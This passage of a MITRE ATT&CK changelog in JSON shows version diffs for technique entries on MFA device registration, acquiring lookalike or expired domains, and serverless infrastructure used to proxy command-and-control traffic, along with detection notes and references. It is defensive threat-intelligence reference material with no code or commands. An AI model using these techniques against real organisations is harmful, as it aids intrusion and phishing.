by registering a large number of devices.(Citation: AADInternals - BPRT)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][4]\": \"Arun Seelagan, CISA\", \"root['x_mitre_platforms'][1]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"SaaS\"}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may register a device to an adversary-controlledt1Adversaries may register a device to an adversary-controlled
> account. Devices may be registered in a multifactor authent> account. Devices may be registered in a multifactor authent
>ication (MFA) system, which handles authentication to the ne>ication (MFA) system, which handles authentication to the ne
>twork, or in a device management system, which handles devic>twork, or in a device management system, which handles devic
>e access and compliance.  MFA systems, such as Duo or Okta, >e access and compliance.  MFA systems, such as Duo or Okta, 
>allow users to associate devices with their accounts in orde>allow users to associate devices with their accounts in orde
>r to complete MFA requirements. An adversary that compromise>r to complete MFA requirements. An adversary that compromise
>s a user\u2019s credentials may enroll a new device in order to b>s a user\u2019s credentials may enroll a new device in order to b
>ypass initial MFA requirements and gain persistent access to>ypass initial MFA requirements and gain persistent access to
> a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar> a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar
>kReading FireEye SolarWinds) In some cases, the MFA self-enr>kReading FireEye SolarWinds) In some cases, the MFA self-enr
>ollment process may require only a username and password to >ollment process may require only a username and password to 
>enroll the account's first device or to enroll a device to a>enroll the account's first device or to enroll a device to a
>n inactive account. (Citation: Mandiant APT29 Microsoft 365 >n inactive account. (Citation: Mandiant APT29 Microsoft 365 
>2022)  Similarly, an adversary with existing access to a net>2022)  Similarly, an adversary with existing access to a net
>work may register a device to Azure AD and/or its device man>work may register a device to Entra ID and/or its device man
>agement system, Microsoft Intune, in order to access sensiti>agement system, Microsoft Intune, in order to access sensiti
>ve data or resources while bypassing conditional access poli>ve data or resources while bypassing conditional access poli
>cies.(Citation: AADInternals - Device Registration)(Citation>cies.(Citation: AADInternals - Device Registration)(Citation
>: AADInternals - Conditional Access Bypass)(Citation: Micros>: AADInternals - Conditional Access Bypass)(Citation: Micros
>oft DEV-0537)   Devices registered in Azure AD may be able t>oft DEV-0537)   Devices registered in Entra ID may be able t
>o conduct [Internal Spearphishing](https://attack.mitre.org/>o conduct [Internal Spearphishing](https://attack.mitre.org/
>techniques/T1534) campaigns via intra-organizational emails,>techniques/T1534) campaigns via intra-organizational emails,
> which are less likely to be treated as suspicious by the em> which are less likely to be treated as suspicious by the em
>ail client.(Citation: Microsoft - Device Registration) Addit>ail client.(Citation: Microsoft - Device Registration) Addit
>ionally, an adversary may be able to perform a [Service Exha>ionally, an adversary may be able to perform a [Service Exha
>ustion Flood](https://attack.mitre.org/techniques/T1499/002)>ustion Flood](https://attack.mitre.org/techniques/T1499/002)
> on an Azure AD tenant by registering a large number of devi> on an Entra ID tenant by registering a large number of devi
>ces.(Citation: AADInternals - BPRT)>ces.(Citation: AADInternals - BPRT)
", + "changelog_mitigations": { + "shared": [ + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Modification)", + "DS0015: Application Log (Application Log Content)", + "DS0026: Active Directory (Active Directory Object Creation)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-09-30 17:09:31.878000+00:00", + "modified": "2024-09-25 15:26:00.047000+00:00", + "name": "Domains", + "description": "Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)\n\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)\n\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)\n\nIn addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor\u2019s choosing.(Citation: Invictus IR DangerDev 2024)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1583/001", + "external_id": "T1583.001" + }, + { + "source_name": "URI Unique", + "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.", + "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF" + }, + { + "source_name": "PaypalScam", + "description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.", + "url": "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/" + }, + { + "source_name": "CISA IDN ST05-016", + "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.", + "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016" + }, + { + "source_name": "CISA MSS Sep 2020", + "description": "CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-258a" + }, + { + "source_name": "bypass_webproxy_filtering", + "description": "Fehrman, B. (2017, April 13). How to Bypass Web-Proxy Filtering. Retrieved September 20, 2019.", + "url": "https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/" + }, + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "Invictus IR DangerDev 2024", + "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.", + "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me" + }, + { + "source_name": "Domain_Steal_CC", + "description": "Krebs, B. (2018, November 13). That Domain You Forgot to Renew? Yeah, it\u2019s Now Stealing Credit Cards. Retrieved September 20, 2019.", + "url": "https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/" + }, + { + "source_name": "tt_obliqueRAT", + "description": "Malhotra, A., McKay, K. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal . Retrieved July 29, 2022.", + "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html" + }, + { + "source_name": "tt_httrack_fake_domains", + "description": "Malhotra, A., Thattil, J. et al. (2022, March 29). Transparent Tribe campaign uses new bespoke malware to target Indian government officials . Retrieved September 6, 2022.", + "url": "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html" + }, + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Categorisation_not_boundary", + "description": "MDSec Research. (2017, July). Categorisation is not a Security Boundary. Retrieved September 20, 2019.", + "url": "https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/" + }, + { + "source_name": "URI", + "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.", + "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits" + }, + { + "source_name": "Redirectors_Domain_Fronting", + "description": "Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting. Retrieved July 11, 2022.", + "url": "https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/" + }, + { + "source_name": "URI Use", + "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.", + "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf" + }, + { + "source_name": "iOS URL Scheme", + "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.", + "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html" + }, + { + "source_name": "lazgroup_idn_phishing", + "description": "RISKIQ. (2017, December 20). Mining Insights: Infrastructure Analysis of Lazarus Group Cyber Attacks on the Cryptocurrency Industry. Retrieved July 29, 2022.", + "url": "https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/" + }, + { + "source_name": "httrack_unhcr", + "description": "RISKIQ. (2022, March 15). RiskIQ Threat Intelligence Roundup: Campaigns Targeting Ukraine and Global Malware Infrastructure. Retrieved July 29, 2022.", + "url": "https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Wes Hurd", + "Vinayak Wadhwa, Lucideus", + "Deloitte Threat Library Team", + "Oleg Kolesnikov, Securonix", + "Menachem Goldstein", + "Nikola Kovac" + ], + "x_mitre_data_sources": [ + "Domain Name: Passive DNS", + "Domain Name: Domain Registration", + "Domain Name: Active DNS" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 15:26:00.047000+00:00\", \"old_value\": \"2024-04-28 15:55:55.068000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\\n\\nAdversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \\\"IDN homograph attacks,\\\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)\\n\\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)\\n\\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)\\n\\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)\\n\\nIn addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor\\u2019s choosing.(Citation: Invictus IR DangerDev 2024)\", \"old_value\": \"Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\\n\\nAdversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \\\"IDN homograph attacks,\\\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)\\n\\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)\\n\\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)\\n\\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)\", \"diff\": \"--- \\n+++ \\n@@ -7,3 +7,5 @@\\n Adversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)\\n \\n Domain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)\\n+\\n+In addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor\\u2019s choosing.(Citation: Invictus IR DangerDev 2024)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}, \"iterable_item_added\": {\"root['external_references'][7]\": {\"source_name\": \"Invictus IR DangerDev 2024\", \"description\": \"Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.\", \"url\": \"https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may acquire domains that can be used during targt1Adversaries may acquire domains that can be used during targ
>eting. Domain names are the human readable names used to rep>eting. Domain names are the human readable names used to rep
>resent one or more IP addresses. They can be purchased or, i>resent one or more IP addresses. They can be purchased or, i
>n some cases, acquired for free.  Adversaries may use acquir>n some cases, acquired for free.  Adversaries may use acquir
>ed domains for a variety of purposes, including for [Phishin>ed domains for a variety of purposes, including for [Phishin
>g](https://attack.mitre.org/techniques/T1566), [Drive-by Com>g](https://attack.mitre.org/techniques/T1566), [Drive-by Com
>promise](https://attack.mitre.org/techniques/T1189), and Com>promise](https://attack.mitre.org/techniques/T1189), and Com
>mand and Control.(Citation: CISA MSS Sep 2020) Adversaries m>mand and Control.(Citation: CISA MSS Sep 2020) Adversaries m
>ay choose domains that are similar to legitimate domains, in>ay choose domains that are similar to legitimate domains, in
>cluding through use of homoglyphs or use of a different top->cluding through use of homoglyphs or use of a different top-
>level domain (TLD).(Citation: FireEye APT28)(Citation: Paypa>level domain (TLD).(Citation: FireEye APT28)(Citation: Paypa
>lScam) Typosquatting may be used to aid in delivery of paylo>lScam) Typosquatting may be used to aid in delivery of paylo
>ads via [Drive-by Compromise](https://attack.mitre.org/techn>ads via [Drive-by Compromise](https://attack.mitre.org/techn
>iques/T1189). Adversaries may also use internationalized dom>iques/T1189). Adversaries may also use internationalized dom
>ain names (IDNs) and different character sets (e.g. Cyrillic>ain names (IDNs) and different character sets (e.g. Cyrillic
>, Greek, etc.) to execute \"IDN homograph attacks,\" creating >, Greek, etc.) to execute \"IDN homograph attacks,\" creating 
>visually similar lookalike domains used to deliver malware t>visually similar lookalike domains used to deliver malware t
>o victim machines.(Citation: CISA IDN ST05-016)(Citation: tt>o victim machines.(Citation: CISA IDN ST05-016)(Citation: tt
>_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: ht>_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: ht
>track_unhcr)(Citation: lazgroup_idn_phishing)  Different URI>track_unhcr)(Citation: lazgroup_idn_phishing)  Different URI
>s/URLs may also be dynamically generated to uniquely serve m>s/URLs may also be dynamically generated to uniquely serve m
>alicious content to victims (including one-time, single use >alicious content to victims (including one-time, single use 
>domain names).(Citation: iOS URL Scheme)(Citation: URI)(Cita>domain names).(Citation: iOS URL Scheme)(Citation: URI)(Cita
>tion: URI Use)(Citation: URI Unique)  Adversaries may also a>tion: URI Use)(Citation: URI Unique)  Adversaries may also a
>cquire and repurpose expired domains, which may be potential>cquire and repurpose expired domains, which may be potential
>ly already allowlisted/trusted by defenders based on an exis>ly already allowlisted/trusted by defenders based on an exis
>ting reputation/history.(Citation: Categorisation_not_bounda>ting reputation/history.(Citation: Categorisation_not_bounda
>ry)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_>ry)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_
>Fronting)(Citation: bypass_webproxy_filtering)  Domain regis>Fronting)(Citation: bypass_webproxy_filtering)  Domain regis
>trars each maintain a publicly viewable database that displa>trars each maintain a publicly viewable database that displa
>ys contact information for every registered domain. Private >ys contact information for every registered domain. Private 
>WHOIS services display alternative information, such as thei>WHOIS services display alternative information, such as thei
>r own company data, rather than the owner of the domain. Adv>r own company data, rather than the owner of the domain. Adv
>ersaries may use such private WHOIS services to obscure info>ersaries may use such private WHOIS services to obscure info
>rmation about who owns a purchased domain. Adversaries may f>rmation about who owns a purchased domain. Adversaries may f
>urther interrupt efforts to track their infrastructure by us>urther interrupt efforts to track their infrastructure by us
>ing varied registration information and purchasing domains w>ing varied registration information and purchasing domains w
>ith different domain registrars.(Citation: Mandiant APT1)>ith different domain registrars.(Citation: Mandiant APT1)  I
 >n addition to legitimately purchasing a domain, an adversary
 > may register a new domain in a compromised environment. For
 > example, in AWS environments, adversaries may leverage the 
 >Route53 domain service to register a domain and create hoste
 >d zones pointing to resources of the threat actor\u2019s choosing
 >.(Citation: Invictus IR DangerDev 2024)
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0038: Domain Name (Active DNS)", + "DS0038: Domain Name (Domain Registration)", + "DS0038: Domain Name (Passive DNS)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--04a5a8ab-3bc8-4c83-95c9-55274a89786d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-07-08 12:39:29.684000+00:00", + "modified": "2024-07-01 20:24:16.562000+00:00", + "name": "Serverless", + "description": "Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.\n\nOnce acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1583/007", + "external_id": "T1583.007" + }, + { + "source_name": "AWS Lambda Redirector", + "description": "Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.", + "url": "https://blog.xpnsec.com/aws-lambda-redirector/" + }, + { + "source_name": "Detecting Command & Control in the Cloud", + "description": "Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.", + "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/" + }, + { + "source_name": "BlackWater Malware Cloudflare Workers", + "description": "Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.", + "url": "https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/" + }, + { + "source_name": "GWS Apps Script Abuse 2021", + "description": "Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Awake Security" + ], + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-07-01 20:24:16.562000+00:00\", \"old_value\": \"2022-10-20 21:20:22.578000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.\\n\\nOnce acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)\", \"old_value\": \"Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.\\n\\nOnce acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.\\n+Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.\\n \\n-Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)\\n+Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"GWS Apps Script Abuse 2021\", \"description\": \"Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.\", \"url\": \"https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may purchase and configure serverless cloud infrt1Adversaries may purchase and configure serverless cloud infr
>astructure, such as Cloudflare Workers or AWS Lambda functio>astructure, such as Cloudflare Workers, AWS Lambda functions
>ns, that can be used during targeting. By utilizing serverle>, or Google Apps Scripts, that can be used during targeting.
>ss infrastructure, adversaries can make it more difficult to> By utilizing serverless infrastructure, adversaries can mak
> attribute infrastructure used during operations back to the>e it more difficult to attribute infrastructure used during 
>m.  Once acquired, the serverless runtime environment can be>operations back to them.  Once acquired, the serverless runt
> leveraged to either respond directly to infected machines o>ime environment can be leveraged to either respond directly 
>r to [Proxy](https://attack.mitre.org/techniques/T1090) traf>to infected machines or to [Proxy](https://attack.mitre.org/
